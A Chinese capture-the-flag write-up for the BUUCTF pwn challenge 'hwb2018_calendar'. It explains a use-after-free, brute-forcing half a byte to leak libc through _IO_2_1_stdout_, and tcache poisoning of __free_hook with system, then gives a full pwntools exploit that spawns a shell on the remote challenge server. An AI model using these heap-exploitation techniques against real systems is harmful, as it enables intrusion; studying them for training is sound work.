[BUUCTF-pwn] hwb2018_calendar

我讨厌爆破,还是两次 堆地址+_IO_2_1_stdout_

题目给了一个很明显的UAF

void m3free()
{
  int v0; // [rsp+Ch] [rbp-4h]

  v0 = readid();
  if ( v0 != -1 )
    free((void *)qword_202060[v0]);
}

但是也有些限制,一是大小最大0x68,二是活动块只能建4个(这个无所谓,有俩用的就行)

另外edit里一个读入的函数有点坑,读入n+1个字符,n还不能为0,最少2个。这样改堆地址就比较麻烦,需要爆破半字节。

没有show不回显,得爆破libc地址,也是半字节。这样加起来就得爆很长时间。

主要思路:

  1. 先建两个块,在第1个块里造fake(一个可以释放到unsort的大小)。利用UAF将块建到fake位置,然后释放得到libc(没显示)
  2. 利用这个位置的指向main_arena的指针修改后两字节为?760(爆破半字节)指向_IO_2_1_stdout_,修改这里得到libc地址。
  3. 然后就没啥了,UAF将system写到__free_hook,然后将带/bin/sh的块释放即可。

解题代码:

from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 0
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 26445) 
    libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
    one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
    libc_start_main_ret = 0x21b97

menu = b"choice> "
def add(idx, size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"choice> ", str(idx).encode()) #1-4
    p.sendlineafter(b"size> ", str(size).encode())

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"choice> ", str(idx).encode())

def edit(idx, size, msg):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"choice> ", str(idx).encode())
    p.sendlineafter(b"size> ", str(size).encode())
    p.sendafter(b"info> ", msg)
    
def pwn():
    context.log_level = 'critical' #'debug'
    p.sendlineafter(b'input calendar name> ', b'AAAA')

    add(1, 0x38)
    add(2, 0x68)
    add(3, 0x18)
    add(4, 0x18)
    
    free(2)
    free(2)
    edit(1, 0x10, p64(0)+p64(0x71)+b'\n')
    #gdb.attach(p)
    #pause()
    #lh = int(input('stack=?2:'), 16)
    lh = 8
    edit(2, 1, b'\x70'+ p8(lh*16+2))
    add(2, 0x68)
    add(2, 0x68)
    free(2) #tcache 0x71
    edit(1, 0x10, p64(0)+p64(0xa1)+b'\n')
    [free(2) for _ in range(8)]
    
    #lh = int(input('stdout=?760:'), 16)
    lh = 8
    edit(2, 1, b'\x60'+p8(lh*16+7)) #?760
    add(2, 0x68)
    add(2, 0x68)
    #context.log_level = 'debug' #'critical' #'debug'
    edit(2, 4*8, p64(0xfbad1887)+p64(0)*3+p8(0x58))
    libc_base = u64(p.recv(8)) - libc_elf.sym['_IO_file_jumps']
    libc_elf.address = libc_base
    one_gadget= libc_base + one[0]
    print('libc:', hex(libc_base))
    
    if p64(libc_base)[5] != 0x7f and p64(libc_base)[5] != 0x7e:
        raise('no')
    
    free(3)
    free(3)
    edit(3, 7, p64(libc_elf.sym['__free_hook']))
    add(3, 0x18)
    add(3, 0x18)
    edit(3, 7, p64(libc_elf.sym['system']))
    edit(4, 7, b'/bin/sh\n')
    free(4)
    p.sendline(b'cat /flag')
    p.interactive()

while True:
    try:
        connect()
        pwn()
    except KeyboardInterrupt as e:
        exit()
    except:
        p.close()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值